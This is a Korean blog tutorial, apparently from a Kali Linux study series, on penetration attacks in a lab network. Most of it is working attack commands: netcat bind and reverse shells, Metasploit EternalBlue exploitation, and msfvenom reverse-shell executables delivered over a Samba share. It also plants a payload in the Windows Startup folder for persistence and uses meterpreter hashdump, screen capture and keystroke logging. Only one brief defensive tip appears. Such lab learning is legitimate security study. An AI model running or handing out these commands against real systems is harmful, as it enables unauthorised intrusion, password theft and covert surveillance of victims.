Kali 10. 침투 공격

2024. 6. 12. 00:08Linux/KALI

이전 글에서 사용한

netcat을 다시 한번 사용해 볼 것이다.

 

이러한 침투 공격은 두가지로 나뉘는데

 

Bind TCP : 공격자가 공격 대상으로 접근 공격자 --> 공격 대상
Reverse TCP : 공격 대상자가 공격자로 접근 공격대상 --> 공격자

위처럼 두가지로 나뉜다.

실습해보자!

 

netcat

 

 

 

먼저 CentOS 와 Kali Linux를 준비해주자

 

두OS는 모두 NC 명령어로 netcat을 이용할 수 있다

 

nc -e /bin/bash -l -p 4444

위 명령어로 CentOS의 4444포트로 접근시

/bin/bash가 실행되게 해보겠다.

 

그리고 

nc 192.168.10.50 4444

Kali에서 nc 명령어로 CentOS에 접근해보겠다.

위 사진이 접근이 완료된 상태다

 

CentOS에서 netstat으로 확인해보면

제대로 연결된 것을 볼 수 있다.

 

명령어 입력시 제대로 실행되는 것을 볼 수 있다.

 

이러한 공격은 

Bind TCP로

 

공격자 Kali희생자 CentOS로 접근한 것이다.

포트는 아무것이나 지정해줄 수 있다!

 

 

 

 

 

Reverse TCP로도 실습해보자

 

 

이번엔 Centos 두개를 준비해주자

각각

192.168.10.50 (공격자)

192.168.10.100 (공격 대상자)

IP를 사용한다.

 

 

50번 리눅스에서 아래와 같이 입력해주자

nc -n -v -l -p 1234

 

-n : 호스트네임과 포트를 숫자로만 입력

-v : 더 많은 정보 표시

-l : 포트를 listen 상태로 개방

-p : 포트 지정

 

 

 

이후 100번 리눅스에서 접근해보자

nc 192.168.10.50 1234

50번으로 접근한뒤 

50번 리눅스를 다시 확인해보면

 

위처럼 100번서버와 연결됐다고 표시되고 있다!

 

서로 아무 단어나 입력해보면 채팅처럼 

서로에게 나타나는 것이 보인다.

 

 

 

지금까진 nc로 접속시 

아무런 내용도 뜨지 않았는데

 

공격대상 PC의 셸프롬프트를 사용할 수도 있다.

 

 

 

다시 50번 리눅스를 nc명령어로 열어두자

 

python -c 'import pty;pty.spawn("/bin/bash")'

 

위처럼 피해PC에 접근 후 python 명령어를 입력하면

공격 대상자의 셸 프롬프트로 접속할 수 있다!

 

잘 사용한다면 유지보수 용으로도 쓰일 수 있지만

악의적으로 사용하면 침입이 되는 것이다.

 

 

 

 

Netcat을 이용해 파일 전송도 가능하다!

 

 

다시 CentOS를 두개 준비해보자

그리고 100번 리눅스에 명령어를 입력해보자

nc -l 4444 > file.txt

 

 

 

이후 50번 리눅스에서 똑같은 제목의 파일을 만들어서

내용을 입력한뒤 nc 명령어를 사용하자

echo "welcome file transfer." > file.txt
nc 192.168.10.100 4444 < file.txt

그리고 100번 리눅스로 돌아와서 파일을 확인해보자

똑같이 옮겨진 것을 볼 수 있다!

 

 

윈도우와도 똑같이 할 수 있다!

Window 7(IP 192.168.10.202)을 준비해주자

윈도우 7에 netcat을 다운로드 해주자!

그후 CMD창을 관리자 권한으로 실행한 뒤에

netcat의 경로로 이동해주자!

 

 

방화벽은 이전에 반드시 중지시켜놔야 한다!

 

 

이제 리눅스 쪽에서 > 윈도우 방향으로 Bind TCP로 공격해보겠다.

nc -L -d -e c:\windows\system32\cmd.exe -p 1234

윈도우의 프롬프트 경로만 제외하면 방식은 비슷하다

nc 명령어로 위처럼 실행해주자

 

옵션 

L : 세션 영구 유지 (listen)

d : 백그라운드에서 실행

 

 

 

 

그리고 50번 리눅스에서 접속해보자!

nc 192.168.10.202 1234

위 명령어를 입력하니 윈도우 CMD창과 똑같은 문구가 출력되고 있다!

한글이 깨지고 있긴 하지만 명령어도 잘 실행된다!

 

md (파일명)

md 명령어로 파일을 생성하자 해당 경로에 doghj 파일이 생긴걸 볼 수 있다

윈도우에서도 확인 가능하다.

 

지금 이것이 Linux 기준으로

Linux ---> window

침투의 정방향이다.

 

 

이번엔 역방향으로 확인해보자

 

window --->  Linux

똑같이 nc 명령어로 특정 포트를 지정해주고 대기하자

nc 192.168.10.50 4444

 

잘 작동하는 것을 볼 수 있다.

 

이로서

Linux > Linux

Linux > Window

Window > Linux

모든 방식을 한번씩 해보았다

 

 

 

 

여담으로

bind TCP가 가능한 업데이트 되지않은 window는 7이하의 OS만 가능하다..

그 이상은 이제 보안패치로 인해 막혀버렸기 때문이다.

그이상은 Reverse TCP만 가능하다!

 

 

그런데 읽다보면

Reverse TCP가 이상하다고 생각 되지 않는가?

 

공격 대상자가 공격자에게 접근한다니??

당연히 공격대상자 (피해자, 희생자 PC )가 알아서 접근할리는 없으니

공격자가 대상PC에 파일을 업로드하는 등의 방식으로 접근하게 만들어야한다.

 

 

 

 

 

Metasploit

 

 

공격 하는 행위를 익스플로이트(Exploit)이라고 한다.

이런 공격들을 하기위한 대표적인 프로그램이

 메타스플로이트(Metasploit) 이다.

 

그래픽 버전, 콘솔버전이 있는데

우린 콘솔 버전을 사용해보자 

 

Kali로 이동하자!

 

msfconsole

칼리에 해당 명령어를 입력하는 뜨는 환영문구는

달라질 수 있기 때문에 신경쓰지말자

 

이제부터 우리는 eternalblue라는 ms 취약점으로 공격을 시도해보려한다.

 

 

 

ms17-010 취약점을  구글에 검색해보자

 

MS17-010, CVE-2017-0143 등의 이상한 이름들을 볼 수 있을 것이다.

 

 

 

MS17-010

이러한 이름은 MS사에서 자체적으로 부여한 취약점 번호이다

MS사에서 2017년도 10번째로 발견된 취약점이라는 뜻이다!

 

 

CVE-2017-0143

CVE(Common Vulnerabilities and Exposures) 는 국제 취약점 리스트의 코드로

2017년도에 발견된 143번째 취약점이라는 뜻이다!

 

SMB 취약점에 두개의 코드가 있는 이유는

17년도에 MS에서 10번째로 발견된 취약점이

CVE로 인계되어 143번째라는 코드를 다시 부여 받았기 때문에 그렇다!

 

 여담으로 CWE (Common Weakness Enumeration)라는 

보안약점 리스트도 존재한다.

만들어진 계기는

코드 보안 평가 업계에서 제공되는 리스트를  분류하기엔 너무 추상적이였기에

취약점 뿐 만 아니라 보안약점(weakness)과 같이 더 상세한 분류가 필요해졌다.

 

 

다시 본론으로 돌아와서 

우리가 실습해볼

ms17_010_eternalblue 라는 취약점은

공격시 블루스크린을 띄우게되는 공격이다.

 

Kali에서 실행한 msfconsole로 돌아가자

 

use exploit/windows/

윈도우 관련 공격 명령어를 사용하려고 하는데

해당 주소에서 tab 키를 눌러보면 1181개나 존재하는 것을 볼 수 있다.

 

이중에서 아까전에 검색해본

SMB 취약점을 이용해보자

use exploit/windows/smb/ms17_010_

우리가 검색해본 ms 취약점의 이름을 입력해보면 

이터널블루와 psexec 두가지가 존재한는걸 볼 수 있다!

psexec는 리눅스에서 통하는 취약점이다.

우리는 eternalblue 를 사용해보자

use exploit/windows/smb/ms17_010_eternalblue

 

입력했다면 비유적으론 포를 설치한 것이다.

 

이제 포탄을 장전해주자!

set payload windows/x64/shell/bind_tcp

윈도우 64비트의 쉘 권한을 획득하기 위한 bind tcp 를 세팅했다.

 

set rhost 192.168.10.202

간혹가다 rhosts인 녀석들도 있기때문에

rhost 이후에 탭키를 한번씩 눌러보자

 

위 명령어로 공격 대상을 설정했다.

 

이러면 끝난것이다.

공격 명령어 exploit을 입력하자

exploit

그럼 잠시뒤에 윈도우 cmd창이 kali에 표시되는 걸 볼 수 있다!

 

명령어 실행도 잘된다

 

이를 방어하려면 윈도우에서 방화벽을 켜주거나

로컬 연결 속성에서 ms 네트워크용 파일 및 프린터 공유 옵션을 꺼주면 된다.

 

 

 

 

 

 

메타스플로잇의 미터프리터를 이용하면

더욱 다양한 공격이 가능해진다..

 

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.10.202

exploit

이전과 똑같은데 잘보면 페이로드 부분이 다르니 주의하자

위처럼 뜨면 성공이다.

 

 

shell

위 화면에서 shell 명령어를 입력하면 바로 윈도우쉘을 실행할 수 있다.

 

sysinfo

위 명령어로는 공격 대상자의 PC 정보를 알 수 있다.

 

hashdump

위 명렁어로는

 

윈도우의 패스워드를 덤핑할 수도 있다.

해쉬 크랙 사이트에 해쉬값을 넣어보면 이렇게 패스워드도 알아낼 수 있으니

굉장히 위험한 유출인 것이다.

 

 

 

 

 

 

 

 

 

 

 

 

 

이번엔 Reverse TCP를 해보자

 

 

 

 

Kali로 돌아가자

 

/etc/samba/smb.conf 파일을 수정하자

 

 

service smbd restart
                                                                                                      
mkdir samba
                                                                                                      
chmod 777 samba 
                                                                                                      
cd /samba      
                                                                                                      
touch 1.txt

설정파일의 경로처럼

디렉토리를 똑같이 만들어주고

권한 부여 후 테스트 파일을 하나 만들자

useradd test

smbpasswd -a test

이후에 삼바용 계정 생성 후 

삼바 패스워드를 지정해주자

윈도우 7, 10 모두 접근 가능하고 

테스트 파일도 확인 가능하다.

 

 

그럼 이제 칼리에서 윈도우 악성코드를 생성해보자

msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.10.250 lport=4444 -f exe > win_shell.exe

현재 위치에 win_shell.exe가 만들어졌을 것이다.

vi /samba/win_shell.rc

-----------------------------vi편집기---------------------------

use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set lhost 192.168.10.250
set lport 4444
set exitonsession false
exploit -j -z
----------------------------------------------------------------

생성 이후 아래 명령어 실행

msfconsole -r win_shell.rc

win_shell.rc 파일을 만들어주자

 

-j는 백그라운드 실행 옵션

-z 는 익스플로잇 성공후 세션 연결 해제이다.

 

위 파일을 만든 이유는 마지막 명령어로 rc 파일을 읽어

자동화 시켜주기 때문이다.

자동 실행 완료

 

 

이제 윈도우7에서  악성파일을 받아서 실행해보자 (win_shell.exe)

실행해보아도 아무 반응이 없을 것이다.

 

하지만 위처럼 칼리에서는 세션 연결된 것을 볼 수 있다

sessions -i 1

또한 곧바로 윈도우로 접속도 할 수있다.

 

윈도우 10에서도 가능하니 똑같이 해보자

 

 

 

 

 

이번엔 원격으로 윈도우 7을 리부트 해보자

 

msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.10.250 lport=5555 -f exe > win_meta.exe 

vi win_meta.rc
-------------------------------------------------------------
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.250
set lport 5555
set exitonsession false
exploit -j -z
-------------------------------------------------------------

생성 이후 아래 명령어실행

msfconsole -r win_meta.rc

이전과 같이 exe, rc 파일을 생성해주자

 

그리고 윈도우 7에서 똑같이 win_meta 파일을 실행해보면

세션이 연결되었다!

(세션이 두개인 이유는 윈도우 10도 연결되있어서 그렇다)

 

 

pwd
cd ..
cd AppData
cd Roaming
cd Microsoft
cd Windows
cd "Start Menu"
cd Programs
pwd

C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs

cd Startup
upload win_meta.exe
reboot

이제 윈도우 쉘에서 해당 경로에 win_meta를 업로드후 

재부팅 명령어 입력 즉시 

윈도우 7이 재시작되는 걸 볼 수 있다.

 

 

만약 실행이 안된다면 meta 파일을 윈도우7에서 관리자 권한으로 실행해보자!

 

 

 

세션이 연결된 상태에서 공격 대상자의 화면을 캡쳐할 수도 있다.

screenshot

 

또한 화면을 공유받아 실시간으로 볼수도 있다.

screenshare

영상으로 재생되는 것은 아니고 

사진 파일이 계속 업데이트 되는 형식이다.

프레임이 조금 낮은 영상이라고 생각하면 된다.

 

 

 

마지막으로  키스캔도 가능하다

keyscan_start

keyscan_dump


google.com<CR>
abc<Right Shift>@google.com<CR>
abc1234<CR>

meterpreter > keyscan_stop

 

 

이상으로 침투공격에 대해서 알아보았다

'Linux > KALI' 카테고리의 다른 글

Kali 9. DoS 공격, netcat, TCPDump  (0) 2024.04.30
Kali 8. Snort 침입탐지  (0) 2024.04.29
Kali 3. 정보 수집  (0) 2024.04.23
Kali 2. 한글 입력기 설치  (0) 2024.04.22
Kali 1. Kali Linux 설치  (0) 2024.03.04